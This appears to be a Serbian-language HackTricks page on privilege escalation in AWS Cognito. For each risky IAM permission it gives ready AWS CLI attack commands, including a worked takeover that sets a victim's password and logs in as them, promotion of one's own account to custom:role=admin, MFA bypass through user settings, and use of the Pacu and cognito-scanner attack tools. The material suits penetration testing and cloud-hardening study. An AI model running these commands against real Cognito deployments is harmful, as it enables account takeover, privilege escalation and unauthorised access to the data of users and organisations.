AWS - Cognito Privesc

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Cognito

Za više informacija o Cognito pogledajte:

AWS - Cognito Enum

Prikupljanje kredencijala iz Identity Pool

Pošto Cognito može dodeliti IAM role credentials i authenticated i unauthenticated users, ako pronađete Identity Pool ID aplikacije (trebalo bi da bude hardkodiran u njoj) možete dobiti nove kredencijale i tako ostvariti privesc (u AWS nalogu u kojem verovatno ranije niste imali nikakve kredencijale).

Za više informacija check this page.

Potential Impact: Direktan privesc na role servisa pridružene unauth users (i verovatno i na onu pridruženu auth users).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Sa ovom dozvolom možete grant any cognito role to the authenticated/unauthenticated users of the cognito app.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Ako cognito app nema omogućene unauthenticated users, možda će vam takođe trebati dozvola cognito-identity:UpdateIdentityPool da je omogućite.

Potencijalni uticaj: Direktan privesc na bilo koju cognito ulogu.

cognito-identity:update-identity-pool

Napadač sa ovom dozvolom može, na primer, da podesi Cognito User Pool pod svojom kontrolom ili bilo kog drugog identity providera gde se može login-ovati kao način da pristupi ovom Cognito Identity Pool-u. Zatim, samo login na tom provideru će mu omogućiti pristup konfigurisanom authenticated role-u u Identity Pool-u.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Takođe je moguće zloupotrebiti ovu dozvolu da se omogući basic auth:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Potential Impact: Kompromitovanje konfigurisane autentifikovane IAM role unutar identity pool.

cognito-idp:AdminAddUserToGroup

Ova dozvola omogućava dodavanje Cognito korisnika u Cognito grupu, stoga napadač može zloupotrebiti ovu dozvolu da doda korisnika pod svojom kontrolom u druge grupe sa boljim privilegijama ili drugačijim IAM rolama:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Mogući uticaj: Privesc na druge Cognito grupe i IAM role pridružene User Pool Groups.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Napadač sa ovim dozvolama može kreirati/izmeniti grupe sa svim IAM rolama koje mogu biti korišćene od kompromitovanog Cognito Identity Provider-a i učiniti kompromitovanog korisnika članom grupe, dobijajući pristup svim tim rolama:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Potencijalni uticaj: Privesc na druge Cognito IAM roles.

cognito-idp:AdminConfirmSignUp

Ovo dopuštenje omogućava potvrđivanje registracije. Po podrazumevanoj postavci svako može da se prijavi u Cognito aplikacije; ako je to omogućeno, korisnik može da kreira nalog sa bilo kojim podacima i potvrdi ga koristeći ovo dopuštenje.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Mogući uticaj: Indirect privesc do identity pool IAM role za authenticated users ako možete registrovati novog korisnika. Indirect privesc do drugih funkcionalnosti aplikacije koje omogućavaju potvrđivanje bilo kog naloga.

cognito-idp:AdminCreateUser

Ovo dopuštenje bi napadaču omogućilo da kreira novog korisnika unutar user pool-a. Novi korisnik se kreira kao omogućen (enabled), ali će morati da promeni lozinku.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Potencijalni uticaj: Direktan privesc na identity pool IAM role za autentifikovane korisnike. Indirektan privesc na druge funkcionalnosti aplikacije, omogućavajući kreiranje bilo kog korisnika

cognito-idp:AdminEnableUser

Ova dozvola može pomoći u veoma retkom slučaju kada napadač pronađe kredencijale onemogućenog korisnika i treba da ga ponovo omogući.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Potencijalni uticaj: Indirect privesc to the identity pool IAM role for authenticated users and permissions of the user if the attacker had credentials for a disabled user.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Ovo dopuštenje omogućava prijavu pomoću method ADMIN_USER_PASSWORD_AUTH. Za više informacija pratite link.

cognito-idp:AdminSetUserPassword

Ovo dopuštenje bi omogućilo napadaču da postavi poznatu lozinku za bilo kog korisnika, što obično rezultira u direktnom preuzimanju naloga (posebno ako žrtva nema omogućenu MFA, ili MFA nije primenjena za relevantan auth flow/client).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Uobičajeni tok rada:

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'

# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent

# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"

Povezano dopuštenje: cognito-idp:AdminResetUserPassword može se koristiti za pokretanje procesa resetovanja lozinke za žrtvu (uticaj zavisi od toga kako je implementirana obnova lozinke i šta napadač može presresti ili kontrolisati).

Potencijalni uticaj: Preuzimanje naloga proizvoljnih korisnika; pristup privilegijama na nivou aplikacije (groups/roles/claims) i svemu što dalje veruje Cognito tokenima; potencijalni pristup Identity Pool autentifikovanim IAM rolama.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Napadač bi potencijalno mogao zloupotrebiti ovo dopuštenje da postavi mobilni telefon pod svojom kontrolom kao SMS MFA za korisnika.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Slično prethodnoj, ova dozvola se može koristiti za podešavanje MFA preferencija korisnika kako bi se zaobišla MFA zaštita.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Slično prethodnoj, ova dozvola se može koristiti za podešavanje MFA preferencija user pool-a kako bi se zaobišla MFA zaštita.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: It’s also possible to update the user pool to change the MFA policy. Check cli here.

Potencijalni uticaj: Indirektan privesc prema potencijalno bilo kojem korisniku čije akreditive napadač zna; ovo može omogućiti zaobilaženje MFA zaštite.

cognito-idp:AdminUpdateUserAttributes

Napadač sa ovom dozvolom može promeniti bilo koji izmenjivi atribut korisnika User Pool-a (uključujući custom:* atribute) kako bi pokušao da stekne privilegije u osnovnoj aplikaciji.

Uobičajen visokouticajan obrazac je claim-based RBAC implementiran korišćenjem custom attributes (na primer custom:role=admin). Ako aplikacija veruje tom claim-u, njegovo ažuriranje i ponovno autentifikovanje može zaobići autorizaciju bez diranja aplikacije.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Primer: unapredite sopstvenu ulogu i osvežite tokene:

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"

# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"

# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"

Potential Impact: Indirect privesc u aplikacijama koje veruju Cognito atributima/claims za autorizaciju; mogućnost izmene drugih bezbednosno-relevantnih atributa (na primer, postavljanje email_verified ili phone_number_verified na true može biti važno u nekim aplikacijama).

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Napadač sa ovom dozvolom može kreirati novi User Pool Client sa manje ograničenja u odnosu na već postojeće pool clients. Na primer, novi client može dozvoliti bilo koju metodu autentikacije, možda neće imati secret, može imati onemogućenu token revocation, ili dozvoliti da tokens važe duže.

Isto se može postići i ako, umesto kreiranja novog clienta, bude izmenjen postojeći.

U command line (ili u update one) možete videti sve opcije, proverite!

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Potential Impact: Potencijalni indirektni privesc na Identity Pool autorizovanog user-a koji koristi User Pool, preko kreiranja novog client-a koji popušta sigurnosne mere i omogućava attacker-u da se login-uje sa user-om kojeg je uspeo da kreira.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Attacker može zloupotrebiti ovu dozvolu da kreira users učitavanjem csv fajla sa novim users.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(U slučaju da kreirate novi import job možda će vam takođe trebati iam passrole permission, nisam to još testirao).

Potencijalni uticaj: Direktan privesc na identity pool IAM role za autentifikovane korisnike. Indirektan privesc na druge funkcionalnosti aplikacije koje bi mogle da kreiraju bilo kog korisnika.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Napadač bi mogao da kreira novog identity providera kako bi zatim mogao da se prijavi preko ovog providera.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potential Impact: Direktan privesc na identity pool IAM role za autentifikovane korisnike. Indirektan privesc ka drugim funkcionalnostima aplikacije koje bi omogućile kreiranje bilo kog korisnika.

cognito-sync:* Analiza

Ovo je veoma česta dozvola po defaultu u rolama Cognito Identity Pools. Čak i ako wildcard u dozvolama uvek deluje loše (posebno kada dolazi iz AWS), dodeljene dozvole nisu naročito korisne iz perspektive napadača.

Ova dozvola omogućava čitanje informacija o Identity Pools i Identity IDs unutar Identity Pools (što nije osetljiva informacija).
Identity IDs mogu imati dodeljene Datasets, koje su informacije sesija (AWS ih definiše kao saved game). Moguće je da ovo sadrži neku vrstu osetljivih podataka (ali verovatnoća je prilično niska). Na enumeration page možete pronaći kako pristupiti ovim informacijama.

Napadač bi takođe mogao koristiti ove dozvole da enroll himself to a Cognito stream that publish changes na ovim datases ili da pokrene lambda that triggers on cognito events. Nisam video da se ovo koristi, i ne bih očekivao osetljive informacije ovde, ali nije nemoguće.

Automatic Tools

  • Pacu, the AWS exploitation framework, sada uključuje “cognito__enum” i “cognito__attack” module koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, korisničke atribute koji se koriste za kontrolu pristupa, itd., i takođe automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija zasnovanu na modifikabilnim custom atributima, iskoristivim identity pool kredencijalima, assumable rolama u id tokenima, itd.

Za opis funkcija modula pogledajte deo 2 blog post. Za instrukcije instalacije pogledajte glavnu Pacu page.

Korišćenje

Primer korišćenja cognito__attack za pokušaj kreiranja korisnika i svih privesc vektora protiv datog identity pool i user pool client-a:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Primer korišćenja cognito__enum za prikupljanje svih user pools, user pool clients, identity pools, users itd. vidljivih u trenutnom AWS nalogu:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner je CLI alat u pythonu koji implementira različite napade na Cognito, uključujući privesc eskalaciju.

Instalacija

$ pip install cognito-scanner

Upotreba

$ cognito-scanner --help

Za više informacija pogledajte https://github.com/padok-team/cognito-scanner

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks